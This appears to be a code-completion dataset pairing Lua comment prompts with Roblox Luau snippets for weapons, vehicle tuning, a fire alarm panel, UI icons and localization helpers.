prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Made by Stickmasterluke |
sp=script.Parent
function waitfor(a,b)
while a:FindFirstChild(b)==nil do
a.ChildAdded:wait()
end
return a:FindFirstChild(b)
end
reloading=waitfor(sp,"Reloading")
down=waitfor(sp,"MouseDown")
runanim=waitfor(sp,"RunAnim")
animspeed=1.2 --lower number is slower
equipspeed=1.5
originalgrip=CFrame.new(0,0,-1.1,0,0,1,1,0,0,0,1,0)
currentgrip=originalgrip
function swordUp()
currentgrip=originalgrip
sp.Grip=currentgrip
end
function swordOut()
currentgrip=originalgrip*CFrame.Angles(math.pi/4,.4,0)
sp.Grip=currentgrip
end
function spinsword(spintime)
delay(0,function()
local startspin=tick()
local endspin=startspin+spintime
while tick()<endspin do
sp.Grip=currentgrip*CFrame.Angles(math.pi*2*((tick()-startspin)/spintime),0,0)
wait()
end
sp.Grip=currentgrip
end)
end
function update(mouse)
if mouse~=nil then
if reloading.Value then
mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
else
mouse.Icon="rbxasset://textures\\GunCursor.png"
end
end
end
runanim.Changed:connect(function()
local h=sp.Parent:FindFirstChild("Humanoid")
local t=sp.Parent:FindFirstChild("Torso")
local anim=sp:FindFirstChild(runanim.Value)
if anim and t and h then
local theanim=h:LoadAnimation(anim)
if theanim and h.Health>0 then
theanim:Play(nil,nil,animspeed)
end
end
end)
function Equipped(mouse)
if mouse~=nil then
update(mouse)
reloading.Changed:connect(function()
update(mouse)
end)
mouse.Button1Down:connect(function()
down.Value=true
end)
mouse.Button1Up:connect(function()
down.Value=false
end)
local h=sp.Parent:FindFirstChild("Humanoid")
local t=sp.Parent:FindFirstChild("Torso")
if t and h then
local equipanim=sp:FindFirstChild("Equip")
if equipanim~=nil then
local EquipAnim=h:LoadAnimation(equipanim)
if EquipAnim and h.Health>0 then
EquipAnim:Play(nil,nil,equipspeed)
end
end
local holdanim=sp:FindFirstChild("Hold")
if holdanim~=nil then
if HoldAnim then
HoldAnim:Stop()
end
HoldAnim=h:LoadAnimation(holdanim)
if HoldAnim and h.Health>0 then
HoldAnim:Play()
end
end
end
end
end
function Unequipped()
down.Value=false
if HoldAnim then
HoldAnim:Stop()
end
end
sp.Equipped:connect(Equipped)
sp.Unequipped:connect(Unequipped)
|
-- Creates "bullet". No projectile motion is actually used. Pistol raytraces to target and creates
-- a tracer trail to the target. Fading trail gives illusion of motion. |
local function createBullet(target)
-- Crate bullet that uses a trail effect for the trail
local bullet = tool.Bullet:Clone()
table.insert(ignoreTable, bullet)
bullet.Parent = workspace
bullet.CFrame = CFrame.new(muzzle.CFrame.p, target)
bullet.Trail.Enabled = true
wait() -- so trail has time to load
bullet.Transparency = 0
local missionAccomplished = false
for i = 1, numSegments do
if not missionAccomplished then
local equation = bullet.CFrame * CFrame.new(0, 0, -segmentLength) * CFrame.Angles(dropAngle, 0, 0)
local ray = Ray.new(bullet.Position, (equation.p - bullet.Position).unit * segmentLength)
local part, pos, normal, material = workspace:FindPartOnRayWithIgnoreList(ray, ignoreTable)
if part and part.Parent:FindFirstChild("Humanoid") then
missionAccomplished = true
bullet.HitSound:Play()
hitEvent:FireClient(game.Players:GetPlayerFromCharacter(tool.Parent))
local hum = part.Parent.Humanoid
if part.Name == "Head" and configs.headshotInstaKill == true then
local neck = part.Parent:FindFirstChild("Neck", true)
neck:Destroy()
elseif part.Name == "Head" then
hum:TakeDamage(headDamage)
elseif part.Name == "Torso" or part.Name == "UpperTorso" or part.Name == "LowerTorso" then -- Names to account for R6 and R15
hum:TakeDamage(torsoDamage)
else
hum:TakeDamage(otherDamage)
end
bullet.CFrame = CFrame.new(pos, equation.p)
local weld = Instance.new("Weld", bullet)
weld.C0 = bullet.CFrame:inverse() * part.CFrame
weld.Part0 = bullet
weld.Part1 = part
bullet.Anchored = false
--bullet.Trail.Enabled = false
bullet.Transparency = 1
if configs.blood == true then
bullet.EffectAttachment.BloodEmitter:Emit(20)
end
wait(1)
for ii, v in pairs(ignoreTable) do
if v == bullet then
table.remove(ignoreTable, ii)
end
end
bullet:Destroy()
elseif part then
missionAccomplished = true
bullet.CFrame = CFrame.new(pos, equation.p)
--bullet.Trail.Enabled = false
bullet.Transparency = 1
bullet.ThudSound:Play()
if hitParticles and part.Transparency and part.Transparency < 1 then --<<<<<<<<<< CHANGES HERE <<<<<<<<<<<<<<<<<<
if part.ClassName ~= "Terrain" then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(part.Color)
elseif material == Enum.Material.Grass
or material == Enum.Material.LeafyGrass
or material == Enum.Material.Ground
or material == Enum.Material.Mud
or material == Enum.Material.Cobblestone then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(61/255, 51/255, 44/255))
elseif material == Enum.Material.Asphalt
or material == Enum.Material.Concrete
or material == Enum.Material.Pavement
or material == Enum.Material.Slate then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(100/255, 99/255, 93/255))
elseif material == Enum.Material.Limestone
or material == Enum.Material.Sand
or material == Enum.Material.WoodPlanks then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(172/255, 153/255, 116/255))
elseif material == Enum.Material.Brick or material == Enum.Material.Sandstone then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(165/255, 114/255, 95/255))
elseif material == Enum.Material.Rock then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(93/255, 96/255, 103/255))
elseif material == Enum.Material.Basalt or material == Enum.Material.CrackedLava then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(22/255, 11/255, 10/255))
elseif material == Enum.Material.Salt or material == Enum.Material.Snow then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(190/255, 180/255, 190/255))
elseif material == Enum.Material.Glacier or material == Enum.Material.Ice then
bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(162/255, 194/255, 217/255))
end
bullet.EffectAttachment.DebrisEmitter:Emit(10)
end
wait(1)
for ii, v in pairs(ignoreTable) do
if v == bullet then
table.remove(ignoreTable, ii)
end
end
bullet:Destroy()
else
bullet.CFrame = equation
end
wait(waitBetweenSegments)
end
end
return
end
|
---------------------------------------------------------------|
------// SETTINGS //-------------------------------------------|
---------------------------------------------------------------| |
local FireRate = 25
local LimbsDamage = {75,90}
local TorsoDamage = {125,150}
local HeadDamage = {350,400}
local FallOfDamage = .65
local BulletPenetration = 75
local RegularWalkspeed = 12
local SearchingWalkspeed = 6
local ShootingWalkspeed = 0
local Spread = 1
local MinDistance = 500
local MaxInc = 16
local Mode = 2
local Tracer = true
local TracerColor = Color3.fromRGB(255,255,255)
local BulletFlare = true
local BulletFlareColor = Color3.fromRGB(255,255,255)
|
--[[Wheel Alignment]] |
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 0.5
Tune.RCamber = 0.5
Tune.FToe = 0
Tune.RToe = 0
|
-- End of Configuration |
system = script.Parent
damaged = {1}
dp = {}
fs = false
function AlarmCondition(device)
while system.Reset.Value == true do
wait()
end
if device.Alarm.Value == false then return end
-- Check if point is disabled or already in alarm
if system.ActiveAlarms:findFirstChild(device.Name)~=nil then return end
local dis = system.DisabledPoints:GetChildren()
for i = 1, #dis do
if dis[i].Name == device.Name then return end
end
-- Insert into the alarm database
local file = Instance.new("Model")
local filex = Instance.new("StringValue")
filex.Name = "DeviceName"
filex.Value = device.DeviceName.Value
filex.Parent = file
file.Name = device.Name
file.Parent = system.ActiveAlarms
system.Silence.Value = false
system.Coder.VisualRelay.Disabled = false
if TwoStage and not fs then
fs = true
system.Coder.PreAlarm.Disabled = false
local ftime = 0
while not system.Reset.Value and not system.Silence.Value and fs and ftime < FirstStageTime do
ftime = ftime + 0.1
wait(0.1)
end
if not system.Reset.Value and not system.Silence.Value and ftime >= FirstStageTime then
system.Coder.AudibleCircuit.Value = 0
system.Coder.PreAlarm.Disabled = true
system.Coder.AudibleRelay.Disabled = false
end
else
system.Coder.PreAlarm.Disabled = true
system.Coder.AudibleRelay.Disabled = false
end
end
function TroubleCondition(device)
while system.Reset.Value == true do
wait()
end
for i = 1, #damaged do
if damaged[i]==device then return end
end
table.insert(damaged, device)
local file = Instance.new("Model")
local filex = Instance.new("StringValue")
local filey = filex:clone()
filex.Name = "ID"
filex.Value = device.Name
filex.Parent = file
filey.Name = "Condition"
filey.Value = "Damaged"
filey.Parent = file
file.Name = device.DeviceName.Value
file.Parent = system.Troubles
end
function ResetSystem()
if system.Reset.Value == false and system.ResetCommand.Value == true then
system.ResetCommand.Value = false
system.Reset.Value = true
system.Silence.Value = false
system.Coder.AudibleRelay.Disabled = true
system.Coder.PreAlarm.Disabled = true
system.Coder.AudibleCircuit.Value = 0
system.Coder.VisualRelay.Disabled = true
system.Coder.VisualCircuit.Value = 0
local af = system.ActiveAlarms:GetChildren()
for i = 1, #af do
af[i]:Remove()
end
local tf = system.Troubles:GetChildren()
for i = 1, #tf do
if tf[i]:findFirstChild("Ack")==nil then
local v = Instance.new("Model")
v.Name = "Ack"
v.Parent = tf[i]
end
end
wait(5)
fs = false
tf = system.Troubles:GetChildren()
for i = 1, #tf do
if tf[i]:findFirstChild("Ack")~=nil then
tf[i].Ack:Remove()
end
end
system.Reset.Value = false
local idc = system.InitiatingDevices:GetChildren()
for i = 1, #idc do
if idc[i].Alarm.Value == true then
AlarmCondition(idc[i])
end
end
else
system.ResetCommand.Value = false
end
end
system.ResetCommand.Changed:connect(ResetSystem)
function SilenceSignals()
if system.SilenceCommand.Value == true and
(system.Coder.AudibleRelay.Disabled == false or system.Coder.PreAlarm.Disabled == false) then
system.SilenceCommand.Value = false
system.Silence.Value = true
system.Coder.AudibleRelay.Disabled = true
system.Coder.PreAlarm.Disabled = true
system.Coder.AudibleCircuit.Value = 0
if VisualUntilReset then return end
system.Coder.VisualRelay.Disabled = true
system.Coder.VisualCircuit.Value = 0
else
system.SilenceCommand.Value = false
end
end
system.SilenceCommand.Changed:connect(SilenceSignals)
function Drill()
if system.DrillCommand.Value == true and #system.ActiveAlarms:GetChildren()==0 then
system.DrillCommand.Value = false
local file = Instance.new("Model")
local filex = Instance.new("StringValue")
filex.Name = "DeviceName"
filex.Value = "Manual Evac"
filex.Parent = file
file.Name = "01"
file.Parent = system.ActiveAlarms
system.Silence.Value = false
system.Coder.PreAlarm.Disabled = true
system.Coder.AudibleRelay.Disabled = false
system.Coder.VisualRelay.Disabled = false
fs = true
else
system.DrillCommand.Value = false
end
end
system.DrillCommand.Changed:connect(Drill)
system.DisabledPoints.ChildAdded:connect(function(child)
local file = Instance.new("Model")
local filex = Instance.new("StringValue")
local filey = filex:clone()
filex.Name = "ID"
filex.Value = child.Name
filex.Parent = file
filey.Name = "Condition"
filey.Value = "Disabled"
filey.Parent = file
file.Name = system.InitiatingDevices:findFirstChild(child.Name).DeviceName.Value
file.Parent = system.Troubles
end)
system.DisabledPoints.ChildRemoved:connect(function(child)
if system.InitiatingDevices:findFirstChild(child.Name).Alarm.Value == true then
AlarmCondition(system.InitiatingDevices:findFirstChild(child.Name))
end
local tfile = system.Troubles:GetChildren()
for i = 1, #tfile do
if tfile[i].ID.Value == child.Name and tfile[i].Condition.Value == "Disabled" then
tfile[i]:Remove()
end
end
end)
local c = system.InitiatingDevices:GetChildren()
for i = 1, #c do
c[i].Alarm.Changed:connect(function() if c[i].Alarm.Value == true then AlarmCondition(c[i]) end end)
c[i].DescendantRemoving:connect(function() TroubleCondition(c[i]) end)
c[i].ChildRemoved:connect(function() TroubleCondition(c[i]) end)
end
|
--EEwwwwww gross |
print("You're A Noob")
seat = script.Parent
s = script |
--This is a demo script I made to test the functions of the UI. anything that isnt inside a ----------------------This is just an example----------------------------- is what makes this UI function. You can delete it if you know exactly what to do. | |
-- warn(tmp) |
wait(0.1) -- доём время освободить ресурс
-- не понадобилось |
-- Text -- |
script.Parent.MouseEnter:Connect(function()
local Color = Color3.fromRGB(38, 38, 38)
TweenService:Create(script.Parent.Parent.Text, Info, {TextColor3 = Color}):Play()
end)
script.Parent.MouseLeave:Connect(function()
local ColorColor = Color3.fromRGB(255, 255, 255)
TweenService:Create(script.Parent.Parent.Text, Info, {TextColor3 = ColorColor}):Play()
end)
|
--// Events |
L_29_.OnServerEvent:connect(function(L_62_arg1)
L_25_.Fire:Play()
end)
L_30_.OnServerEvent:connect(function(L_63_arg1, L_64_arg2, L_65_arg3)
L_64_arg2:TakeDamage(L_65_arg3)
end)
L_31_.OnServerEvent:connect(function(L_66_arg1, L_67_arg2)
local L_68_ = Instance.new("ObjectValue")
L_68_.Name = "creator"
L_68_.Value = L_66_arg1
game.Debris:AddItem(L_68_, 3)
L_68_.Parent = L_67_arg2
end)
L_32_.OnServerEvent:connect(function(L_69_arg1, L_70_arg2)
local L_71_ = L_69_arg1.Character
local L_72_ = L_71_:FindFirstChild('Torso')
local L_73_ = L_71_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')
local L_74_ = L_72_:FindFirstChild('Right Hip')
local L_75_ = L_72_:FindFirstChild('Left Hip')
local L_76_ = L_72_:FindFirstChild('Clone')
if L_70_arg2 == "Prone" and L_71_ and L_76_ then
L_73_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)
L_74_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)
L_75_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)
L_76_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)
elseif L_70_arg2 == "Crouch" and L_71_ and L_76_ then
L_73_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)
L_74_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)
L_75_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)
L_76_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
elseif L_70_arg2 == "Stand" and L_71_ and L_76_ then
L_73_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
L_74_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
L_75_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
L_76_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
end
end)
L_33_.OnServerEvent:connect(function(L_77_arg1, L_78_arg2, L_79_arg3, L_80_arg4, L_81_arg5, L_82_arg6)
local L_83_ = Instance.new("Part", workspace)
L_83_.FormFactor = "Custom"
L_83_.TopSurface = 0
L_83_.BottomSurface = 0
L_83_.Transparency = 1
L_83_.Anchored = true
L_83_.CanCollide = false
L_83_.Size = Vector3.new(0.5, 0, 0.5)
L_83_.CFrame = CFrame.new(L_78_arg2) * CFrame.fromAxisAngle(L_79_arg3.magnitude == 0 and Vector3.new(1) or L_79_arg3.unit, L_80_arg4)
L_83_.BrickColor = BrickColor.new("Really black")
L_83_.Material = "SmoothPlastic"
local L_84_ = Instance.new("Decal", L_83_)
L_84_.Texture = "rbxassetid://64291977"
L_84_.Face = "Top"
game.Debris:AddItem(L_84_, 3)
local L_85_ = Instance.new("PointLight", L_83_)
L_85_.Color = Color3.new(0, 0, 0)
L_85_.Range = 0
L_85_.Shadows = true
local L_86_ = Instance.new("Sound")
L_86_.Name = "Crack"
L_86_.SoundId = "rbxassetid://" .. L_34_[math.random(1, 13)]
L_86_.Volume = math.random(0.8, 1)
L_86_.EmitterSize = 10
L_86_.MaxDistance = 30
L_86_.Pitch = math.random(0, 0.6)
L_86_.Parent = L_83_
L_86_:play()
game.Debris:AddItem(L_86_, 1)
game.Debris:AddItem(L_83_, 3)
local L_87_
local L_88_
if L_82_arg6 == "Part" then
L_87_ = L_26_:WaitForChild("Spark"):clone()
L_87_.Parent = L_83_
L_87_.EmissionDirection = "Top"
L_88_ = L_26_:WaitForChild("Smoke"):clone()
L_88_.Parent = L_83_
L_88_.EmissionDirection = "Top"
L_87_.Enabled = true
L_88_.Enabled = true
game.Debris:AddItem(L_87_, 1)
game.Debris:AddItem(L_88_, 1)
delay(0.1, function()
L_87_.Enabled = false
L_88_.Enabled = false
end)
elseif L_82_arg6 == "Human" then
L_87_ = L_26_:WaitForChild("Blood"):clone()
L_87_.Parent = L_83_
L_87_.EmissionDirection = "Top"
L_87_.Enabled = true
game.Debris:AddItem(L_87_, 1)
delay(0.1, function()
L_87_.Enabled = false
end)
end
end)
|
-- CORE UTILITY METHODS |
function Icon:set(settingName, value, iconState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
if type(iconState) == "string" then
iconState = iconState:lower()
end
local previousValue = self:get(settingName, iconState)
if iconState == "hovering" then
-- Apply hovering state if valid
settingDetail.hoveringValue = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..iconState] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
end
self:_update(settingName)
else
-- Update the settings value
local toggleState = iconState
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
self:_update(settingName, currentToggleState, tweenInfo)
end
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, iconState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:get(settingName, iconState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local valueToReturn, additionalValueToReturn
if typeof(iconState) == "string" then
iconState = iconState:lower()
end
--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
if (iconState == "hovering") and getAdditional == nil then
valueToReturn = settingDetail.hoveringValue
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
end
local settingType = settingDetail.type
if settingType == "toggleable" then
local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
end
if valueToReturn == nil then
valueToReturn = settingDetail.values[toggleState]
end
else
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
end
if valueToReturn == nil then
valueToReturn = settingDetail.value
end
end
return valueToReturn, additionalValueToReturn
end
function Icon:getHovering(settingName)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
return settingDetail.hoveringValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:getIconState()
if self.hovering then
return "hovering"
else
return self:getToggleState()
end
end
function Icon:_update(settingName, toggleState, customTweenInfo)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if self.hovering and settingDetail.hoveringValue then
value = settingDetail.hoveringValue
end
if value == nil then return end
local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
local newValue = value
if settingDetail.useForcedGroupValue then
newValue = settingDetail.forcedGroupValue
end
if settingDetail.instanceNames then
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType]
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, newValue)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= newValue then
self.updated:Fire()
end
--
end
end
end
function Icon:_updateAll(iconState, customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, iconState, customTweenInfo)
end
end
end
function Icon:_updateHovering(customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
self:_update(settingName, nil, customTweenInfo)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "both")
end
end
for settingName, settingValue in pairs(settingsDetails.selected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "selected")
end
end
else
for settingName, settingValue in pairs(settingsDetails) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue)
end
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:setProperty(propertyName, value)
self[propertyName] = value
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
if self.locked then return self end
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:deselect(byIcon)
if self.locked then return self end
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
--[[**
ensures value is a number where value < max
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]] |
function t.numberMaxExclusive(max)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg or ""
end
if value < max then
return true
else
return false, string.format("number < %d expected, got %d", max, value)
end
end
end
|
-------------------------------------------------------- |
local RegenTime = 1 --Change this to how long it takes the plane to regen
local WaitTime = 2 --Change this to how much time you have to wait before you can regen another plane |
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 600 -- Front brake force
Tune.RBrakeForce = 700 -- Rear brake force
Tune.PBrakeForce = 4000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--else script.Toggle.Value = false |
end
if speed > 0 then
if script.Parent.Parent.Storage.Brake.Value ~= 0 or script.Toggle.Value == true then
if FR.RotVelocity.Magnitude + power > average then
script.Read.Value = true
FRBRAKE.CanCollide = true
FRBRAKEU.CanCollide = true --print("FR")
elseif FR.RotVelocity.Magnitude + power < average then
FRBRAKE.CanCollide = false script.Read.Value = false
FRBRAKEU.CanCollide = false
end
elseif script.Parent.Parent.Storage.Brake.Value == 0 and script.Toggle.Value == false then
script.Read.Value = false
FRBRAKE.CanCollide = false
FRBRAKEU.CanCollide = false
end
end
else
FRBRAKE.CanCollide = true
FRBRAKEU.CanCollide = true
end
end
|
----------------------------------- |
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then
for i = 1,#grp1 do
grp1[i].Lighto.Enabled = false
end
for i = 1,#grp1 do
grp1[i].Transparency = 1
end
for i = 1,#grp2 do
grp2[i].Lighto.Enabled = false
end
for i = 1,#grp2 do
grp2[i].Transparency = 1
end
for i = 1,#grp3 do
grp3[i].Lighto.Enabled = true
end
for i = 1,#grp3 do
grp3[i].Transparency = 0
end
for i = 1,#grp4 do
grp4[i].Transparency = 1
end
for i = 1,#grp4 do
grp4[i].Lighto.Enabled = false
end |
--[=[
@class LocalizationServiceUtils
]=] |
local require = require(script.Parent.loader).load(script)
local LocalizationService = game:GetService("LocalizationService")
local RunService = game:GetService("RunService")
local Promise = require("Promise")
local ERROR_PUBLISH_REQUIRED = "Publishing the game is required to use GetTranslatorForPlayerAsync API."
local LocalizationServiceUtils = {}
function LocalizationServiceUtils.promiseTranslator(player)
local asyncTranslatorPromise = Promise.spawn(function(resolve, reject)
local translator = nil
local ok, err = pcall(function()
translator = LocalizationService:GetTranslatorForPlayerAsync(player)
end)
if not ok then
reject(err or "Failed to GetTranslatorForPlayerAsync")
return
end
if translator then
assert(typeof(translator) == "Instance", "Bad translator")
resolve(translator)
return
end
reject("Translator was not returned")
return
end)
-- Give longer in non-studio mode
local timeout = 20
if RunService:IsStudio() then
timeout = 0.5
end
local rejectedCauseOfTimeout = false
task.delay(timeout, function()
if not asyncTranslatorPromise:IsPending() then
return
end
rejectedCauseOfTimeout = true
asyncTranslatorPromise:Reject(
("GetTranslatorForPlayerAsync is still pending after %f, using local table")
:format(timeout))
end)
return asyncTranslatorPromise:Catch(function(err)
if err ~= ERROR_PUBLISH_REQUIRED and not rejectedCauseOfTimeout then
warn(("[LocalizationServiceUtils.promiseTranslator] - %s"):format(tostring(err)))
end
-- Fallback to just local stuff
local translator = LocalizationService:GetTranslatorForPlayer(player)
return translator
end)
end
